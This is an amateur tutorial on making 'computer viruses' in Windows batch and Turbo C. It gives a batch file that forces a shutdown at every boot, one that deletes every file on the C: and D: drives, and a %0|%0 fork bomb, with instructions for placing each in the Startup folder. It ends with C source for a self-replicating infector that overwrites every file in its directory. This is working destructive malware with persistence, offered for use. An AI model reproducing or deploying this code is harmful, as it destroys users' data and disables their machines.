Create your own Computer virus(use it on your computer)

Basic computer viruses are very advance and they can infect computer's boot sectors some can damage computer's RAM and CPU.But here we will create a basic batch file .
STEP1: Open Notepad.
STEP2: Write the following code precisely
         
             cd\
            shutdown -s -t 60

STEP3: Now save the file as "filename.BAT".Remember to save it inside the double quotation otherwise         notepad will append a .txt after the file name and it will not be a batch file.

STEP4: Now go to the file and copy the file.And now open start then Programs and files then startup and double click it.Then pest a shortcut of the file there and close it.


That's it you are done!!!
Next time the user starts the Window it will be shutdown automatically. 
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Now you can create a virus that delete all the file in a specific directory or format the entire drive.To do that follow the steps.


STEP1: Open Notepad
STEP2: Write the following code precisely.
               @Echo off
               Del C:\ *.*|y

               Del D:\*.*|y

STEP3: Now save the file as "filename.BAT".Remember to save it inside the double quotation otherwise         notepad will append a .txt after the file name and it will not be a batch file.

STEP4: Now go to the file and copy the file.And now open start then Programs and files then startup and double click it.Then pest a shortcut of the file there and close it.

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This is the most deadliest batch virus i ever tested on my computer.IT HANGED MY 2.84GHz DUAL-CORE 2GB RAM. 
STEP1: Open Notepad
STEP2: Write the following code precisely.
               @echo off
               %0|%0

STEP3: Now save the file as "filename.BAT".Remember to save it inside the double quotation otherwise         notepad will append a .txt after the file name and it will not be a batch file.

STEP4: Now go to the file and copy the file.And now open start then Programs and files then startup and double click it.Then pest a shortcut of the file there and close it.
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This one i found out and working like a magic.Actually it is a true example of virus that is self replicating.

Note:Compile it it in TC++ Dev c++ will give error.

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>


FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;


void main()
{
st=clock();
clrscr();
done=findfirst("*.*",&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],"rb");
host=fopen(ffblk.ff_name,"rb+");
if(host==NULL) goto next;
x=89088;
printf("Infecting %s\n",ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf("DONE! (Total Files Infected= %d)",a);
end=clock();
printf("TIME TAKEN=%f SEC\n",
(end-st)/CLK_TCK);
getch();
}

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